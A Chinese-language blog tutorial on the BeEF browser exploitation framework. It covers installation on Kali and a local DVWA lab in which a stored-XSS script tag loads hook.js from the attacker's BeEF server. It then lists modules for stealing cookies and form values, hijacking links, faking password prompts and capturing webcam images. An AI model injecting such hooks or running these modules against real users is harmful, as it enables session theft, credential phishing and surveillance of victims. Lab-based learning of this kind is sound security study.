BeFF

学习学习

Posted by lll-yz on April 7, 2021

BeFF

BeFF简介

Browser Exploitation Framework (BeEF)

BeFF 是目前最强大的浏览器开源渗透测试框架,通过xss漏洞配合JS脚本和Metasploit进行渗透,BeFF 是基于Ruby语言编写的,并且支持图形化操作,操作简单。

BeFF 主要是往网页中插入一段名为hook.js的JS脚本代码,如果浏览器访问有了hook.js(钩子)的页面,就会被hook(钩住),勾连的浏览器会执行初始代码返回一些信息,接着目标主机会每隔一段时间(默认1秒)就会向BeFF服务器发送一个请求,询问是否有新的代码需要执行。BeFF服务器本质上就像一个Web应用,被分为前端和后端。前端会询问后端是否有新的数据需要更新,同时前端也可以向后端发送指示,BeFF持有者可以通过浏览器来登录BeFF后端,来控制前端(用户的浏览器)。

框架:

cGNjKJ.md.png

cGUpUx.md.png

BeFF安装

在Kali中安装:

apt-get update
apt-get install beef-xss

cd /usr/share/beef-xss/  //切换到beef目录
./beef  //打开beef

开启命令后提示不要使用默认账号密码:

[!] ERROR: Don't use default username and password!
|_  Change the beef.credentials.passwd in /etc/beef-xss/config.yaml

去修改配置:

vim /etc/beef-xss/config.yaml

cGde4P.png

修改后,启动beef,在浏览器访问3000端口,/ui/authentication路径。

cGdxbj.png

使用修改的账号密码登录即可。

BeFF使用

cG0pOe.png

开启beef后,会有如下信息:

running on network interface: 127.0.0.1
[21:17:28]    |   Hook URL: http://127.0.0.1:3000/hook.js
[21:17:28]    |_  UI URL:   http://127.0.0.1:3000/ui/panel
[21:17:28][*] running on network interface: 192.168.216.129
[21:17:28]    |   Hook URL: http://192.168.216.129:3000/hook.js
[21:17:28]    |_  UI URL:   http://192.168.216.129:3000/ui/panel

其中http://192.168.216.129:3000/hook.js就是我们要用到的。

emmm,就本机的DVWA练习吧。

在DVWA的XSS(stored)演示:

在修改浏览器前端限制输入长度后,插入:<script src="http://192.168.216.129:3000/hook.js"></script>

cGDlR0.md.png

成功插入,然后返回beef访问:

cGD0Rx.md.png

可以看到在线浏览器中出现了我们攻击的目标机(这里我的攻击机与受害机都是一个,所以只显示一个)

我们先了解一下beef的功能:

cGDHeg.png

点击当前在线主机,然后右边会有选择框(如上),我们点击 Current Browser ,然后下方会出现一些功能项:Details、Logs、Commands、XssPays、Network、WebRTC。

  • Details:浏览器信息详情。

  • Logs:记录被攻击者在浏览器上的操作,点击,输入操作等。

    记录了受害者在被植入脚本的页面进行的操作,如:点击鼠标、输入的内容。

  • Commands:攻击者可以对该浏览器进行的操作。

Commands

点击Command,这里有一些我们可以使用的功能分类,一共有12个大的功能,括号里面的是每个功能分类里面的个数。

cGrDts.png

Broser:主要是针对浏览器的一些信息收集或攻击,其下的子选项卡Hooked Domain主要是获取HTTP属性值,比如cookie、表单值等,还可以做写简单的浏览器操作,比如替换href值,弹出警告框,重定向浏览器等。这个选项卡下的有些模块会根据受害者的浏览器来决定是否显示。主要是浏览器通用操作和其他基本信息检测。

Chrome extensions:主要是针对谷歌浏览器扩展插件

Debug:调试功能

Exploits:漏洞利用,主要利用一些已公开的漏洞进行攻击测试

Host:针对主机,比如检测主机的浏览器、系统信息、IP地址、安装软件等等

IPEC:协议间通信。主要是用来连接、控制受害者浏览器的

Metasploit:Beef可通过配置和metasploit平台联合,一旦有受害者出现,可通过信息收集确定是否存在漏洞,进一步方便metasploit攻击测试

Misc:杂项。

Network:网络扫描

Persistence:维护受害者访问

Phonegap:手机测试

Social engineering:社会工程学攻击
绿色模块:可以执行且目标不可见
红色模块:不适合当前目标
橙色模块:可以执行但目标可见
灰色模块:未在目标浏览器上测试过

点击相对应的功能后,点击右下角的执行按钮,执行后可以查看执行结果。

cGsagx.md.png

  • Get Cookie 该模块将从当前页面检索会话cookie。
  • Get From Vakues 该模块检索页面上所有输入字段的名称,类型和值。
  • Get Page HREFs 该模块将从目标页面检索所有超链接。
  • Get Page HTML 该模块将从当前页面检索HTML。
  • Get Page and iframe HTML 该模块将从当前页面和任何iframe(具有相同来源)中检索HTML。
  • Remove stuck iframe 该模块将删除所有卡住的iframe(请注意,它将删除该节点上的所有iframe!)。
  • Replace HREFs 该模块将重写所有匹配链接的所有href属性。
  • Replace HREFs(click Events) 该模块将使用Bilawal Hameed对click事件处理的更新来重写所有匹配链接的所有href属性。这将隐藏所有更新链接的目标站点。(意思是鼠标点向超链接,超链接任然会下会显示原来的链接,但是点击之后跳转到指定的网站)
  • Replace HREFs (HTTPS) 该模块将重写HTTPS链接的所有href属性,以使用HTTP代替HTTPS。相对于Web根的链接不会被重写。
  • Replace HREFs (TEL) 此模块将重写电话链接的所有href属性(即tel:5558585)以拨打您选择的号码。
  • Fingerprint Ajax 钩住的页面上有指纹Ajax和JS库。
  • Overflow Cookie Jar 该模块尝试执行John Wilander的CookieJar溢出。他在Owasp 1-liner项目中证明了这一点。使用此模块,可以擦除具有HTTPOnly标志和/或HTTPS标志的cookie。之后,您可以尝试重新创建这些cookie作为普通cookie。
  • Create Alert Dialog 将警报对话框发送到挂钩的浏览器。
  • Create Prompt Dialog 将结束对话框的提示对话框。(这个可以填入,您的密码已过期,请重新输入。然后beef这边会接收输入的数据)
  • Redirect Browser 该模块会将选定的已挂钩的浏览器重定向到“重定向URL”输入中指定的地址。(直接重定向跳转)
  • Redirect Browser (Rickroll) 用全屏Rickroll覆盖受害者所在页面的正文。(受害者页面全屏变白了)
  • Redirect Browser (iFrame) 他的模块创建了100%x 100%的重叠iframe,并使浏览器始终挂在框架上。iframe的内容,页面标题,页面快捷方式图标和时间延迟在以下参数中指定。URL栏的内容在挂钩的浏览器中不会更改。(此时虽然页面变了,但只是iframe的作用,所以主机不会掉线,但是如果其他直接重定向跳转到其他链接,主机就会掉线)
  • Replace Component (Deface) 覆盖挂钩页面的特定组件。
  • Replace Content (Deface) 覆盖页面上的页面,标题和快捷方式图标。
  • Replace Videos 使用包含您选择的youtube视频的嵌入标签(默认为rickroll)替换用jQuery选择的对象(默认情况下为所有嵌入标签)。

其他功能:

  • Play Sound 在挂钩的浏览器上播放声音。
  • Webcam 该模块将向用户显示Adobe Flash“允许网络摄像头”对话框。用户必须单击允许按钮,否则该模块将不返回图片。可以定制说服用户的标题/文本。您可以自定义要拍摄的照片数量和间隔时间(默认情况下将拍摄20张照片,每秒1张照片)。图片以base64编码的JPG字符串发送。
  • Webcam Pemission Check 该模块将检查用户是否已允许BeEF域(或所有域)使用Flash访问摄像头和麦克风。该模块是透明的,用户不应检测到该模块(即不会出现请求权限的弹出窗口)

再来个弹窗功能演示:

cYlADx.md.png

返回弹窗: cYld2j.png

还有很多的功能,之后在介绍了。